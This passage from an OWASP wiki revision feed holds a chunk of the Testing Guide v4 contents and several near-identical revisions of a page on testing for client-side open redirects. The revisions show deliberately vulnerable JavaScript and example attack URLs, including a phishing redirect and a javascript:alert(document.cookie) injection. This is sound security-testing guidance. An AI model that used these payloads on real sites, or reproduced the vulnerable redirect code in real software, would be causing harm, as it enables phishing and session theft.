[[Testing for Cross site flashing (OWASP-DV-004)|4.15.8 Testing for Cross Site Flashing   (OTG-CLIENT-008)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.15.9 Testing for Clickjacking (OTG-CLIENT-009)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets (OTG-CLIENT-005)|4.15.10 Testing WebSockets (OTG-CLIENT-010)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Test Web Messaging (OTG-CLIENT-006)|4.15.11 Test Web Messaging (OTG-CLIENT-011)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Test Local Storage (OTG-CLIENT-007)|4.15.12 Test Local Storage (OTG-CLIENT-012)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]== &lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]'''Ready to be reviewed'''&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]'''Ready to be reviewed'''&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]'''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]== &lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]== &lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
ARTICLES DELETED:&lt;br /&gt;
&lt;br /&gt;
INFO GATHERING:&lt;br /&gt;
&lt;br /&gt;
CONFIGURATION AND DEPLOY MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
IDENTITY MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
AUTHORIZATION TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
SESSION MANAGEMENT TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
DATA VALIDATION TESTING:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
CRYPTOGRAPHY:&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
BUSINESS LOGIC:&lt;br /&gt;
&lt;br /&gt;
XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) &lt;br /&gt;
&lt;br /&gt;
DENIAL OF SERVICE&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]&lt;br /&gt;
&lt;br /&gt;
WEB SERVICES TESTING&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164768</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164768"/>
				<updated>2013-12-16T17:39:07Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.target.site?#redirect=www.fake-target.site &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#www.malicious.site&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note how, if the vulnerable code is the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location=decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
It also could be possible to inject JavaScript code, for example by submitting the following query string:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#javascript:alert(document.cookie)&amp;lt;/pre&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or Externa? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164767</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164767"/>
				<updated>2013-12-16T17:28:52Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.target.site?#redirect=www.fake-target.site &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#redirect=www.malicious.site&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note how, if the vulnerable code is the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
   window.location=decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
It also could be possible to inject JavaScript code, for example by submitting the following query string:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#redirect=javascript:alert(document.cookie)&amp;lt;/pre&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or Externa? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164765</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164765"/>
				<updated>2013-12-16T17:20:52Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.target.site?#redirect=www.fake-target.site &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.hash.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.victim.site/?#www.malicious.site&amp;lt;/pre&amp;gt;&lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or Externa? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164761</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164761"/>
				<updated>2013-12-16T17:19:39Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.target.site?#redirect=www.fake-target.site &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The victim that visits target.site will be automatically redirected to fake-target.site where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.search.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: www.victim.site/?#www.malicious.site &lt;br /&gt;
